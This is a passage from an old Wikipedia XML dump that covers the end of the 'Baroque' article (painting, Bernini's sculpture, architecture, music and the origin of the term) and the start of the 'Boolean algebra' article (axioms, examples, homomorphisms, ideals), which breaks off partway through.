Though Baroque was superseded in many centers by the [[Rococo]] style, beginning in France in the late 1720s, especially for interiors, paintings and the decorative arts, Baroque architecture remained a viable style until the advent of [[Neoclassicism]] in the later 18th century. See the Neapolitan [[Caserta Palace|palace of Caserta]], a Baroque palace (though in a chaste exterior) that was not even begun until 1752. Critics have given up talking about a &quot;Baroque ''period''.&quot;

In paintings, Baroque gestures are broader than Mannerist gestures: less ambiguous, less arcane and mysterious, more like the stage gestures of [[opera]], a major Baroque artform. Baroque poses depend on ''[[contrapposto]]'' (&quot;counterpoise&quot;), the tension within the figures that moves the planes of shoulders and hips in counterdirections. See Bernini's ''David'' (''below, left''). [[image:Berndavi.JPG|thumb|left|200px|[[Gian Lorenzo Bernini]]'s ''David'' (1623&amp;ndash;24): Baroque freeze-frame stopped action, ''contrapposto'' and theatrical emotion]]

The dryer, chastened, less dramatic and coloristic, later stages of 18th century Baroque architectural style are often seen as a separate '''Late Baroque''' manifestation. (See [[Claude Perrault]].)  Academic characteristics in the neo-[[Palladian]] architectural style, epitomized by [[William Kent]], are a parallel development in Britain and the British colonies: within doors, Kent's furniture designs are vividly influenced by the Baroque furniture of Rome and Genoa, hieratic tectonic sculptural elements meant never to be moved from their positions completing the wall elevation. Baroque is a style of unity imposed upon rich and massy detail. 

The Baroque was defined by [[Heinrich Wölfflin]] as the age where the oval replaced the circle as the center of composition, centralization replaced balance, and coloristic and &quot;painterly&quot; effects began to become more prominent. Art historians, often [[Protestant]] ones, have traditionally emphasized that the Baroque style evolved during a time in which the [[Roman Catholic Church]] had to react against the many revolutionary cultural movements that produced a new science and new forms of [[religion]]&amp;mdash;the [[Reformation]].  It has been said that the monumental Baroque is a style that could give the [[Papacy]], like  [[political absolutism|secular absolute monarchies]], a formal, imposing way of expression that could restore its prestige, at the point of becoming somehow symbolic of the [[Catholic Reformation]]. Whether this is the case or not, it was successfully developed in [[Rome]], where Baroque architecture widely renewed the central areas with perhaps the most important urbanistic revision during this period of time.

==Baroque visual art ==
[[Image:BarocciAeneas.jpg|thumb|250px|''Aeneas flees burning Troy,'' [[Federico Barocci]], 1598: a moment caught in a dramatic action from a classical source, bursting from the picture plane in a sweeping diagonal perspective.]]  
''Main article:'' [[Baroque art]]

A defining statement of what ''Baroque'' signifies in painting is provided by the series of paintings executed by [[Peter Paul Rubens]] for [[Marie de Medici]] at the [[Luxembourg Palace]] in Paris (now at the [[Louvre]]) [http://www.students.sbc.edu/vandergriff04/mariedemedici.html], in which a Catholic painter satisfied a Catholic patron: Baroque-era conceptions of monarchy, iconography, handling of paint, and compositions as well as the depiction of space and movement. There were highly diverse strands of Italian baroque painting, from [[Caravaggio]] to [[Cortona]]; both approaching emotive dynamism with different styles. Another frequently cited work of Baroque art is [[Bernini]]'s ''[[Saint Theresa in Ecstasy]]'' for the Cornaro chapel in S. Maria della Vittoria, which brings together architecture, sculpture, and theater into one grand conceit [http://www.boglewood.com/cornaro/xteresa.html].

The later Baroque style gradually gave way to a more decorative [[Rococo]], which, through contrast, further defines Baroque.

==Baroque sculpture ==
In Baroque sculpture, groups of figures assumed new importance, and there was a dynamic movement and energy of human forms&amp;mdash; they spiralled around an empty central vortex, or reached outwards into the surrounding space. For the first time, Baroque sculpture often had multiple ideal viewing angles. The characteristic Baroque sculpture added extra-sculptural elements, for example, concealed lighting, or water [[fountains]]. 

The architecture, sculpture and fountains of [[Gian Lorenzo Bernini|Bernini]] (1598&amp;ndash;1680) give highly-charged characteristics of Baroque style. Bernini was undoubtedly the most important sculptor of the Baroque period. He approached [[Michelangelo Buonarroti|Michelangelo]] in his omnicompetence:  Bernini sculpted, worked as an architect, painted, wrote plays, and staged spectacles.  In the late 20th century Bernini was most valued for his sculpture, both for his virtuosity in carving marble and his ability to create figures that combine the physical and the spiritual.  He was also a fine sculptor of bust portraits in high demand among the powerful. 

===Bernini's Cornaro chapel: the complete work of art===
A good example of Bernini's work that helps us understand the Baroque is his ''[[Ecstasy of St Theresa|St. Theresa in Ecstasy]]'' (1645&amp;ndash;52), created for the Cornaro Chapel of the church of [[Santa Maria della Vittoria]], [[Rome]].  Bernini designed the entire chapel, a subsidiary space along the side of the church, for the Cornaro family.  

He had, in essence, a brick box shaped something like a proscenium stage space with which to work.  Saint Theresa, the focal point of the chapel, is a monochromatic marble statue (a soft white) surrounded by a polychromatic marble architectural framing concealing a window to light the statue from above. In shallow relief, sculpted figure-groups of the Cornaro family inhabit in opera boxes along the two side walls of the chapel.  The setting places the viewer as a spectator in front of the statue with the Cornaro family leaning out of their box seats and craning forward to see the mystical ecstasy of the saint. St. [[Theresa]] is highly idealized in detail and in an imaginary setting.  St. [[Theresa of Avila]], a popular saint of the [[Catholic Reformation]], wrote narratives of her mystical experiences aimed at the nuns of her [[Carmelite Order]];  these writings had become popular reading among lay people interested in pursuing spirituality.  She once described the love of God as piercing her heart like a burning arrow.  Bernini literalizes this image by placing St. Theresa on a cloud in a reclining pose;  what can only be described as a Cupid figure holds a golden arrow (the arrow is made of metal) and smiles down at her.  The angelic figure is not preparing to plunge the arrow into her heart&amp;mdash; rather, he has withdrawn it. St. Theresa's face reflects not the anticipation of ecstasy, but her current fulfillment, which can only be described as orgasmic.  

The blending of religious and erotic was intensely offensive to both neoclassical restraint and, later, to Victorian prudishness; it is part of the genius of the Baroque.  Bernini, who in life and writing was a devout Catholic, is not attempting to satirize the experience of a [[celibacy|chaste]] nun, but to embody in marble a complex truth about religious experience&amp;mdash; that it is an experience that takes place in the body.  Theresa described her bodily reaction to spiritual enlightenment in a language of ecstasy used by many mystics, and Bernini's depiction is earnest.

The Cornaro family promotes itself discreetly in this chapel; they are represented visually, but are placed on the sides of the chapel, witnessing the event from balconies.  As in an [[opera house]], the Cornaro have a privileged position in respect to the viewer, in their private reserve, closer to the saint; the viewer, however, has a better view from the front.  They attach their name to the chapel, but St. Theresa is the focus.  It is a private chapel in the sense that no one could say mass on the altar beneath the statue (in 17th century and probably through the 19th) without permission from the family, but the only thing that divides the viewer from the image is the altar rail.  The spectacle functions both as a demonstration of mysticism and as a piece of family pride.

==Baroque architecture==
[[Image:Palacwwilanowie.jpg|300px|thumb|[[Wilanów]] palace in [[Poland]].]]
[[Image:Residenzschloss Ludwigsburg.jpg|thumb|right|300px|Ludwigsburg Palace near Stuttgart, Germany's largest Baroque Palace]]
[[Image:Stift melk 001 2004.jpg|thumb|right|300px|Melk, Wachau]]
''Main article:'' [[Baroque architecture]]

In Baroque architecture, new emphasis was placed on bold massing, [[colonnade]]s, [[dome]]s, light-and-shade (''[[chiaroscuro]]''), 'painterly' color effects, and the bold play of volume and void. In interiors, Baroque movement around and through a void informed monumental staircases that had no parallel in previous architecture. The other Baroque innovation in worldly interiors was the state apartment, a processional sequence of increasingly rich interiors that culminated in a presence chamber or throne room or a state bedroom. The sequence of monumental stair followed by state apartment was copied in smaller scale everywhere in aristocratic dwellings of any pretensions. 

Baroque architecture was taken up with enthusiasm in central [[Germany]] (see e.g. [[Ludwigsburg Palace]] and [[Zwinger]] Dresden), [[Austria]] and [[Poland]] (see e.g. [[Wilanow]] and [[Bialystok]] Palaces). In [[England]] the culmination of Baroque architecture was embodied in work by Sir [[Christopher Wren]], Sir [[John Vanbrugh]] and [[Nicholas Hawksmoor]], from ca. 1660 to ca. 1725.  Many examples of Baroque architecture and town planning are found in other European towns, and in the Spanish Americas.  Town planning of this period featured radiating avenues intersecting in squares, which took cues from [[History of gardening|Baroque garden plans]]. 

For examples see: [[List of examples of typical Baroque architecture]]
[[Image:GarnierOperaParis.jpg|thumb|right|200px|Neo-Baroque: the foyer of [[Charles Garnier (architect)|Charles Garnier]]'s [[Paris Opera|Opéra]], Paris, planned under the [[Second Empire]], 1861, finally opened 1875]]
===Neo-Baroque architecture===
*[[Paris Opera]], [[Charles Garnier (architect)|Charles Garnier]]
*[[Semperoper|Semper Oper]] ([[Dresden]])

==Baroque theater and dance==
In theater, the elaborate conceits, multiplicity of plot turns, and variety of situations characteristic of [[Mannerism]] ([[William Shakespeare|Shakespeare's tragedies]], for instance) are superseded by [[opera]], which drew together all the arts in a unified whole.

[[Baroque dance|Dance]] was popular in the Baroque era.

==Baroque literature and philosophy==
Baroque actually expressed new values, which often are summarised in the use of [[metaphor]] and [[allegory]], widely found in Baroque literature, and in the research for the &quot;maraviglia&quot; (wonder, astonishment &amp;mdash; as in [[Marinism]]), the use of artifices.  If Mannerism was a first breach with Renaissance, Baroque was an opposed language.  The ''psychological pain of Man'' -- a theme disbanded after the [[Nicolaus Copernicus|Copernican]] and the [[Martin Luther|Lutheran]] revolutions in search of solid anchors, a proof of an &quot;ultimate human power&quot; -- was to be found in both the art and architecture of the Baroque period.  A relevant part of works was made on religious themes, since the Roman Church was the main &quot;customer.&quot;

Virtuosity was researched by artists (and the [[virtuoso]] became a common figure in any art) together with [[realism (arts)|realism]] and care for details (some talk of a typical &quot;intricacy&quot;).

The privilege given to external forms had to compensate and balance the lack of content that has been observed in many Baroque works: [[Marino]]'s &quot;[[Maraviglia]]&quot;, for example, is practically made of the pure, mere form. Fantasy and imagination should be evoked in the spectator, in the reader, in the listener.  All was focused around the individual Man, as a straight relationship between the artist, or directly the art and its user, its client.  Art is then less distant from user, more directly approaching him, solving the cultural gap that used to keep art and user reciprocally far, by Maraviglia.  But the increased attention to the individual, also created in these schemes some important genres like the ''Romanzo'' ([[novel]]) and let popular or local forms of art, especially dialectal literature, to be put into evidence.  In [[Italy]] this movement toward the single individual (that some define a &quot;cultural descent&quot;, while others indicate it was a possible cause for the classical opposition to Baroque) caused [[Latin]] to be definitely replaced by Italian.

In [[English literature]], the [[metaphysical poets]] represent a closely related movement; their poetry likewise sought unusual metaphors, which they then examined in often extensive detail.  Their verse also manifests a taste for paradox, and deliberately inventive and unusual turns of phrase.

==Baroque music==
'' Main article:'' [[Baroque music]]

The term ''Baroque'' also is used to designate the style of music composed during a period that overlaps with that of Baroque art, but usually encompasses a slightly later period. [[Johann Sebastian Bach|J.S. Bach]] and [[George Frideric Handel|G.F. Handel]] are often considered its culminating figures.  It is a still-debated question as to what extent Baroque music shares aesthetic principles with the visual and literary arts of the Baroque period. A fairly clear, shared element is a love of ornamentation, and it is perhaps significant that the role of ornament was greatly diminished in both music and architecture as the Baroque gave way to the Classical period. It should be noted that the application of the term &quot;Baroque&quot; to music is a relatively recent development: the first use of the word to apply to music was only in 1919, by [[Curt Sachs]], and it was not until 1940 that it was first used in English (in a published article by [[Manfred Bukofzer]]); even as late as 1960 there was still considerable dispute in academic circles over whether music as diverse as that by [[Jacopo Peri|Peri]], [[François Couperin|Couperin]] and J.S. Bach could be meaningfully bundled together with a single term.

[[Opera]] was born during the Baroque era out of the experimentation of the [[Florentine Camerata]], the creators of [[monody]], who attempted to recreate the theatrical arts of the ancient Greeks; indeed it is exactly that development which is often used to denote the beginning of the musical Baroque, around 1600.

== Typical Instruments ==
*[[Baroque violin]]
*[[Viola d'amore]]
*[[Viola da gamba]]
*[[Harpsichord]]

== Examples of typical Baroque music ==
*[[Johann Sebastian Bach]] (1685&amp;ndash;1750), ''[[The Art of Fugue]]''
*[[Antonio Vivaldi]] (1678&amp;ndash;1741), ''L'Estro Armonico''
*[[Domenico Scarlatti]] (1685&amp;ndash;1757), Sonatas for Cembalo or Harpsichord
*[[Georg Friedrich Handel]] (1685&amp;ndash;1759), ''[[Water Music (Handel)|Water Music Suite]]'' for Orchestra
*[[Georg Philipp Telemann]] (1681 - 1767), Der Tag des Gerichts ''The Day of Judgement'' (1762)

==The term &quot;Baroque&quot;==
The word &quot;Baroque&quot;, like most [[Periodization|period]] or stylistic designations, was invented by later [[critic]]s rather than practitioners of the arts in the 17th and early 18th centuries.  It is a [[French language|French]] translation of the [[Portuguese language|Portuguese]] word &quot;Barroco&quot; (meaning an irregular [[pearl]], or false jewel&amp;mdash;notably, an ancient similar word, &quot;Barlocco&quot; or &quot;Brillocco&quot;, is used in [[Rome|Roman]] [[dialect]] for the same meaning&amp;mdash;and natural pearls that deviate from the usual, regular forms so they do not have an [[axis of rotation]] are known as &quot;baroque pearls&quot;).  Alternatively, it may derive from the now obsolete [[Italian language|Italian]] &quot;Baroco&quot; (meaning, in logical ''Scholastica'', a [[syllogism]] with weak content).  A common definition, before the term ''Barocco'' was used, called this genre simply the style of '''The Flying Forms'''&lt;!--quoting a contemporary usage would make this statement more credible--&gt;. 

The term &quot;Baroque&quot; was initially used with a derogatory meaning, to underline the excesses of its emphasis, of its eccentric redundancy, its noisy abundance of details, as opposed to the clearer and sober rationality of the Renaissance.  It was first rehabilitated  by the [[Switzerland|Swiss-born]] [[Art History|art historian]], [[Heinrich Wölfflin]] (1864&amp;ndash;1945) in his ''Renaissance und Barock'' (1888); Wölfflin identified the Baroque as &quot;movement imported into mass,&quot; an art antithetic to [[Renaissance]] art. He did not make the distinctions between [[Mannerism]] and Baroque that modern writers do, and he ignored the later phase, the academic Baroque that lasted into the 18th century. Writers in French and English did not begin to treat Baroque as a respectable study until Wölfflin's influence had made German scholarship pre-eminent. 

In modern usage, the term &quot;Baroque&quot; may still be used, usually pejoratively, to describe works of art, craft, or design that are thought to have excessive ornamentation or complexity of line, or, as a [[synonym]] for &quot;[[Derogatory use of 'Byzantine'|Byzantine]]&quot;, to describe literature, computer programs, contracts, or laws that are thought to be excessively complex, indirect, or obscure in language, to the extent of concealing or confusing their meaning. A &quot;Baroque fear&quot; is deeply felt, but utterly beyond daily reality.

==See also==
*[[Baroque chess]]

==External links ==
{{commonscat|Baroque paintings}}
*[http://etext.lib.virginia.edu/DicHist/dict.html ''Dictionary of the History of Ideas'':] Baroque in literature
*[http://www.ibiblio.org/wm/paint/glo/baroque/ Webmuseum Paris]
*[http://www.sentieridelbarocco.it/ barocke in Val di Noto - Sizilien]

==Further reading==
*[[Heinrich Wölfflin]], 1964. ''Renaissance and Baroque'' (Reprinted 1984; originally published in German, 1888) The classic study.
*[[Michael Kitson]], 1966. ''The Age of Baroque'' 
*[[John Rupert Martin]], 1977. ''Baroque'' A more detailed survey. 
*[[Germain Bazin]], 1964. ''Baroque and Rococo'', (Originally published in French;  reprinted as ''Baroque and Rococo Art'', 1974)

{{Westernart}}

[[Category:Cultural movements]]
[[Category:Roman Catholic Church art]]
[[category:Opera terminology]]

[[bg:Барок]]
[[ca:Barroc]]
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[[eo:Baroko]]
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[[it:Barocco]]
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[[no:Barokken]]
[[nn:Barokken]]
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[[pt:Barroco]]
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[[uk:Бароко]]
[[zh:巴洛克艺术]]</text>
    </revision>
  </page>
  <page>
    <title>Boolean algebra</title>
    <id>3959</id>
    <revision>
      <id>40773321</id>
      <timestamp>2006-02-22T22:50:01Z</timestamp>
      <contributor>
        <username>Jon Awbrey</username>
        <id>705791</id>
      </contributor>
      <comment>/* See also */ add items</comment>
      <text xml:space="preserve">{{wikibookshas| more about '''''[[Boolean logic]]''''', under the somewhat misleading title|[[wikibooks::Boolean Algebra|Boolean Algebra]]}}

:''For a basic intro to sets, Boolean operations, Venn diagrams, truth tables, and Boolean applications, see [[Boolean logic]].''
:''For the use of binary numbers in computer systems, please see the article [[binary arithmetic]].''

In [[abstract algebra]], a '''Boolean algebra''' is an [[algebraic structure]] (a collection of elements and operations on them obeying defining [[axiom#Non-logical axioms|axioms]]) that captures essential properties of both [[set]] operations and [[logic]] operations. Specifically, it deals with the [[set]] operations of [[intersection (set theory)|intersection]], [[union (set theory)|union]], [[complement (set theory)|complement]]; and the [[logic]] operations of [[logical conjunction|AND]], [[logical disjunction|OR]], [[logical negation|NOT]].

For example, the logical assertion that a statement ''a'' and its negation ¬''a'' cannot both be true,

[[Image:Hasse diagram of powerset of 3.png|right|thumb|250px|Boolean lattice of subsets]]
:&lt;math&gt;a\land(\lnot a) = \mbox{FALSE},&lt;/math&gt;

parallels the set-theory assertion that a subset ''A'' and its complement ''A''&lt;sup&gt;''C''&lt;/sup&gt; have empty intersection,

:&lt;math&gt;A\cap(A^C) = \empty.&lt;/math&gt;

Because truth values can be represented as [[binary numeral system|binary numbers]] or as voltage levels in [[logic circuit]]s, the parallel extends to these as well. Thus the theory of Boolean algebras has many practical applications in [[electrical engineering]] and [[computer science]], as well as in [[mathematical logic]].

A Boolean algebra is also called a '''Boolean lattice'''. The connection to [[lattice (order)|lattice]]s (special [[partially ordered set]]s) is suggested by the parallel between set [[subset|inclusion]], ''A''&amp;nbsp;⊆&amp;nbsp;''B'', and [[order theory|ordering]], ''a''&amp;nbsp;&amp;le;&amp;nbsp;''b''. Consider the lattice of all subsets of {''x'',''y'',''z''}, ordered by set inclusion. This Boolean lattice is a partially ordered set in which, say, {''x''} &amp;nbsp;&amp;le;&amp;nbsp;{''x'',''y''}. Any two lattice elements, say ''p''&amp;nbsp;= {''x'',''y''} and ''q''&amp;nbsp;= {''y'',''z''}, have a least upper bound, here {''x'',''y'',''z''}, and a greatest lower bound, here {''y''}. Suggestively, the least upper bound (or join or supremum) is denoted by the same symbol as logical OR, ''p''∨''q''; and the greatest lower bound (or meet or infimum) is denoted by same symbol as logical AND, ''p''∧''q''.

The lattice interpretation helps in generalizing to [[Heyting algebra]]s, which are Boolean algebras freed from the restriction that either a statement or its negation must be true. Heyting algebras correspond to [[intuitionistic logic|intuitionist (constructivist) logic]] just as Boolean algebras correspond to [[classical logic]].

Boolean algebras are named after [[George Boole]], an English mathematician at [[University College Cork]].  The algebraic system of logic Boole formulated is distinct from that described in this article in some small but important respects.
__TOC__
== Formal definition ==

A '''Boolean algebra''' is a [[set]] ''A'', supplied with two [[binary operation]]s &lt;math&gt;\land&lt;/math&gt; (logical AND), &lt;math&gt;\lor&lt;/math&gt; (logical OR), a [[unary operation]] &lt;math&gt;\lnot&lt;/math&gt; (logical NOT) and two elements 0 (logical FALSE) and 1 (logical TRUE), such that, for all elements ''a'', ''b'' and ''c'' of set ''A'', the following [[axioms]] hold:

:{| cellpadding=5
|&lt;math&gt; a \lor (b \lor c) = (a \lor b) \lor c &lt;/math&gt;
|&lt;math&gt; a \land (b \land c) = (a \land b) \land c &lt;/math&gt;
| [[associativity]]
|-
|&lt;math&gt; a \lor b = b \lor a &lt;/math&gt;
|&lt;math&gt; a \land  b = b \land a &lt;/math&gt;
| [[commutativity]]
|-
|&lt;math&gt; a  \lor (a \land b) = a &lt;/math&gt;
|&lt;math&gt; a  \land (a \lor b) = a &lt;/math&gt;
| absorption
|-
|&lt;math&gt; a \lor  (b \land c) = (a \lor b) \land (a \lor c) &lt;/math&gt;
|&lt;math&gt; a \land  (b \lor c) = (a \land b) \lor (a \land c) &lt;/math&gt;
| [[distributivity]]
|-
|&lt;math&gt; a \lor  \lnot a = 1 &lt;/math&gt;
|&lt;math&gt; a \land \lnot a = 0 &lt;/math&gt;
| [[complemented lattice|complements]]
|}

The first three pairs of axioms above: associativity, commutativity and absorption, mean that (''A'', &lt;math&gt;\land&lt;/math&gt;, &lt;math&gt;\lor&lt;/math&gt;)  is a [[lattice (order)|lattice]].  Thus a Boolean algebra can also be equivalently defined as a [[distributive lattice|distributive]] [[complemented lattice]].

From these [[axioms]], one can show that the smallest element 0, the largest element 1, and the complement ¬''a'' of any element ''a'' are uniquely determined. For all ''a'' and ''b'' in ''A'', the following [[identity (mathematics)|identities]] also follow:

:{| cellpadding=5
| &lt;math&gt; a \lor a = a&lt;/math&gt;
|&lt;math&gt; a \land a = a &lt;/math&gt;
| [[Idempotent|idempotency]]
|-
|&lt;math&gt; a \lor 0 = a &lt;/math&gt;
|&lt;math&gt; a \land 1 = a &lt;/math&gt;
| rowspan=2 | [[bounded poset|boundedness]]
|-
|&lt;math&gt; a \lor 1 = 1 &lt;/math&gt;
|&lt;math&gt; a \land 0 = 0 &lt;/math&gt;
|-
|&lt;math&gt; \lnot 0 = 1 &lt;/math&gt;
|&lt;math&gt; \lnot 1 = 0 &lt;/math&gt;
| 0 and 1 are complements
|-
|&lt;math&gt; \lnot (a \lor b) = \lnot a  \land \lnot b&lt;/math&gt;
|&lt;math&gt; \lnot (a \land b) = \lnot a  \lor \lnot b&lt;/math&gt;
| [[de Morgan's laws]]
|-
| &lt;math&gt; \lnot \lnot a = a &lt;/math&gt;
|
| [[involution]]
|}

== Examples ==

* The simplest Boolean algebra has only two elements, 0 and 1, and is defined by the rules:
{|
|-
| width=&quot;80&quot; |
|
{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot;
|-
! &amp;and; || 0 || 1
|-
! 0
| 0 || 0
|-
! 1
| 0 || 1
|}
| width=&quot;40&quot; |
|
{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot;
|-
! &amp;or; || 0 || 1
|-
! 0
| 0 || 1
|-
! 1
| 1 || 1
|}
|}

:* It has applications in [[logic]], interpreting 0 as ''false'', 1 as ''true'', &amp;and; as ''and'', &amp;or; as ''or'', and &amp;not; as ''not''. Expressions involving variables and the Boolean operations represent statement forms, and two such expressions can be shown to be equal using the above axioms if and only if the corresponding statement forms are [[logical equivalence|logically equivalent]].

:* The two-element Boolean algebra is also used for circuit design in [[electrical engineering]]; here 0 and 1 represent the two different states of one [[bit]] in a [[digital circuit]], typically high and low [[voltage]]. Circuits are described by expressions containing variables, and two such expressions are equal for all values of the variables if and only if the corresponding circuits have the same input-output behavior. Furthermore, every possible input-output behavior can be modeled by a suitable Boolean expression.

:* The [[two-element Boolean algebra]] is also important in the general theory of Boolean algebras, because an equation involving several variables is generally true in all Boolean algebras if and only if it is true in the two-element Boolean algebra (which can always be checked by a trivial [[brute force search|brute force]] algorithm). This can for example be used to show that the following laws (''Consensus theorems'') are generally valid in all Boolean algebras:
:** (''a'' &amp;or; ''b'') &amp;and; (&amp;not;''a'' &amp;or; ''c'') &amp;and; (''b'' &amp;or; ''c'') &amp;equiv; (''a'' &amp;or; ''b'') &amp;and; (&amp;not;''a'' &amp;or; ''c'')
:** (''a'' &amp;and; ''b'') &amp;or; (&amp;not;''a'' &amp;and; ''c'') &amp;or; (''b'' &amp;and; ''c'') &amp;equiv; (''a'' &amp;and; ''b'') &amp;or; (&amp;not;''a'' &amp;and; ''c'')

* Starting with the [[propositional calculus]] with &amp;kappa; sentence symbols, form the [[Lindenbaum-Tarski algebra|Lindenbaum algebra]] (that is, the set of sentences in the propositional calculus modulo tautology).  This construction yields a Boolean algebra.  It is in fact the [[free Boolean algebra]] on &amp;kappa; generators.  A truth assignment in propositional calculus is then a Boolean algebra homomorphism from this algebra to {0,1}.

* The [[power set]] (set of all subsets) of any given set ''S'' forms a Boolean algebra with the two operations &amp;or; := &amp;cup; (union) and &amp;and; := &amp;cap; (intersection). The smallest element 0 is the [[empty set]] and the largest element 1 is the set ''S'' itself. 

* The set of all subsets of ''S'' that are either finite or [[cofinite]] is a Boolean algebra.

* For any [[natural number]] ''n'', the set of all positive [[divisor]]s of ''n'' forms a [[distributive lattice]] if we write ''a'' &amp;le; ''b'' for ''a'' | ''b''. This lattice is a Boolean algebra if and only if ''n'' is [[square-free integer|square-free]]. The smallest element 0 of this Boolean algebra is the natural number 1; the largest element 1 of this Boolean algebra is the natural number ''n''.

* Other examples of Boolean algebras arise from [[topology|topological spaces]]: if ''X'' is a topological space, then the collection of all subsets of ''X'' which are both open and closed forms a Boolean algebra with the operations &amp;or; := &amp;cup; (union) and &amp;and; := &amp;cap; (intersection).

* If ''R'' is an arbitrary [[mathematical ring|ring]] and we define the set of ''central idempotents'' by &lt;br&gt; ''A'' = { ''e'' &amp;isin; ''R'' : ''e''&lt;sup&gt;2&lt;/sup&gt; = ''e'', ''ex'' = ''xe'', &amp;forall;''x'' &amp;isin; ''R'' } &lt;br&gt; then the set ''A'' becomes a Boolean algebra with the operations ''e'' &amp;or; ''f'' := ''e'' + ''f'' &amp;minus; ''ef'' and ''e'' &amp;and; ''f'' := ''ef''.

== Order theoretic properties ==

[[Image:Hasse diagram of powerset of 3.png|right|thumb|250px|Boolean lattice of subsets]]
Like any lattice, a Boolean algebra (''A'', &lt;math&gt;\land&lt;/math&gt;, &lt;math&gt;\lor&lt;/math&gt;) gives rise to a [[partially ordered set]] (''A'', &amp;le;) by defining 
: ''a'' &amp;le; ''b'' [[iff]] ''a'' = ''a'' &lt;math&gt;\land&lt;/math&gt; ''b''
(which is also equivalent to ''b'' = ''a'' &lt;math&gt;\lor&lt;/math&gt; ''b'').

In fact one can also define a Boolean algebra to be a distributive lattice (''A'', &amp;le;) (considered as a partially ordered set) with least element 0 and greatest element 1, within which every element ''x'' has a complement ¬''x'' such that

: ''x'' &lt;math&gt;\land&lt;/math&gt; ¬''x'' = 0 and ''x'' &lt;math&gt;\lor&lt;/math&gt; ¬''x'' = 1

Here &lt;math&gt;\land&lt;/math&gt; and &lt;math&gt;\lor&lt;/math&gt; are used to denote the [[infimum]] (meet) and [[supremum]] (join) of two elements. Again, if complements in the above sense exist, then they are uniquely determined.

The algebraic and the order theoretic perspective can usually can be used interchangeably and both are of great use to import results and concepts from both [[universal algebra]] and [[order theory]]. In many practical examples an ordering relation, conjunction, disjunction, and negation are all naturally available, so that it is straightforward to exploit this relationship.

== Principle of duality ==

One can also apply general insights from [[duality (order theory)|duality in order theory]] to Boolean algebras. Especially, the order dual of every Boolean algebra, or, equivalently, the algebra obtained by exchanging &lt;math&gt;\land&lt;/math&gt; and &lt;math&gt;\lor&lt;/math&gt;, is also a Boolean algebra. In general, any law valid for Boolean algebras can be transformed into another valid, dual law by exchanging 0 with 1, &lt;math&gt;\land&lt;/math&gt; with &lt;math&gt;\lor&lt;/math&gt;, and &amp;le; with &amp;ge;.

== Other notation ==

The operators of Boolean algebra may be represented in various ways. Often they
are simply written as AND, OR and NOT. In describing circuits, NAND (NOT AND),
NOR (NOT OR) and XOR (eXclusive OR) may also be used. [[Mathematician]]s, [[engineer]]s, and [[programmer]]s often use + for OR and · for AND (since in some ways those operations are analogous to addition and multiplication in other [[algebraic structure]]s and this notation makes it very easy to get [[sum of products form]] for people who are familiar with normal algebra) and represent NOT by a line drawn above the expression being negated.  Sometimes, the symbol ~ is used for NOT.

Here we use another common notation with &quot;meet&quot; &lt;math&gt;\land&lt;/math&gt; for AND, &quot;join&quot; &lt;math&gt;\lor&lt;/math&gt; for OR, and &amp;not; for NOT.

== Homomorphisms and isomorphisms ==

A ''homomorphism'' between the Boolean algebras ''A'' and ''B'' is a [[function (mathematics)|function]] ''f'' : ''A'' &amp;rarr; ''B'' such that for all ''a'', ''b'' in ''A'':

: ''f''(''a'' &lt;math&gt;\lor&lt;/math&gt; ''b'') = ''f''(''a'') &lt;math&gt;\lor&lt;/math&gt; ''f''(''b'')
: ''f''(''a'' &lt;math&gt;\land&lt;/math&gt; ''b'') = ''f''(''a'') &lt;math&gt;\land&lt;/math&gt; ''f''(''b'')
: ''f''(0) = 0
: ''f''(1) = 1

It then follows that ''f''(¬''a'') = ¬''f''(''a'') for all ''a'' in ''A'' as well. The [[class (set theory)|class]] of all Boolean algebras, together with this notion of morphism, forms a [[category theory|category]]. An ''isomorphism'' from ''A'' to ''B'' is a homomorphism from ''A'' to ''B'' which is [[bijective]]. The inverse of an isomorphism is also an isomorphism, and we call the two Boolean algebras ''A'' and ''B'' ''isomorphic''. From the standpoint of Boolean algebra theory, they cannot be distinguished; they differ only in the notation of their elements.

== Boolean rings, ideals and filters ==

Every Boolean algebra (''A'', &lt;math&gt;\land&lt;/math&gt;, &lt;math&gt;\lor&lt;/math&gt;) gives rise to a [[ring (algebra)|ring]] (''A'', +, *) by defining ''a'' + ''b'' = (''a'' &lt;math&gt;\land&lt;/math&gt; ¬''b'') &lt;math&gt;\lor&lt;/math&gt; (''b'' &lt;math&gt;\land&lt;/math&gt; ¬''a'') (this operation is called &quot;symmetric difference&quot; in the case of sets and [[Truth table|XOR]] in the case of logic) and ''a'' * ''b'' = ''a'' &lt;math&gt;\land&lt;/math&gt; ''b''. The zero element of this ring coincides with the 0 of the Boolean algebra; the multiplicative identity element of the ring is the 1 of the Boolean algebra. This ring has the property that ''a'' * ''a'' = ''a'' for all ''a'' in ''A''; rings with this property are called [[Boolean ring]]s. 

Conversely, if a Boolean ring ''A'' is given, we can turn it into a Boolean algebra by defining ''x'' &lt;math&gt;\lor&lt;/math&gt; ''y'' = ''x'' + ''y'' &amp;minus; ''xy'' and ''x'' &lt;math&gt;\land&lt;/math&gt; ''y'' = ''xy''. Since these two operations are inverses of each other, we can say that every Boolean ring arises from a Boolean algebra, and vice versa. Furthermore, a map ''f'' : ''A'' &amp;rarr; ''B'' is a homomorphism of Boolean algebras if and only if it is a homomorphism of Boolean rings. The [[category theory|categories]] of Boolean rings and Boolean algebras are equivalent. 

An ''ideal'' of the Boolean algebra ''A'' is a subset ''I'' such that for all ''x'', ''y'' in ''I'' we have ''x'' &lt;math&gt;\lor&lt;/math&gt; ''y'' in ''I'' and for all ''a'' in ''A'' we have ''a'' &lt;math&gt;\land&lt;/math&gt; ''x'' in ''I''. This notion of ideal coincides with the notion of [[ring ideal]] in the Boolean ring ''A''. An ideal ''I'' of ''A'' is called ''prime'' if ''I'' &amp;ne; ''A'' and if ''a'' &lt;math&gt;\land&lt;/math&gt; ''b'' in ''I'' always implies ''a'' in ''I'' or ''b'' in ''I''. An ideal ''I'' of ''A'' is called ''maximal'' if ''I'' &amp;ne; ''A'' and if the only ideal properly containing ''I'' is ''A'' itself. These notions coincide with ring theoretic ones of [[prime ideal]] and [[maximal ideal]] in the Boolean ring ''A''.

The dual of an ''ideal'' is a ''filter''. A ''filter'' of the Boolean algebra ''A'' is a subset ''p'' such that for all ''x'', ''y'' in ''p'' we have ''x'' &lt;math&gt;\land&lt;/math&gt; ''y'' in ''p'' and for all ''a'' in ''A'' if ''a'' &lt;math&gt;\lor&lt;/math&gt; ''x'' = ''a''  then ''a'' in ''p''.

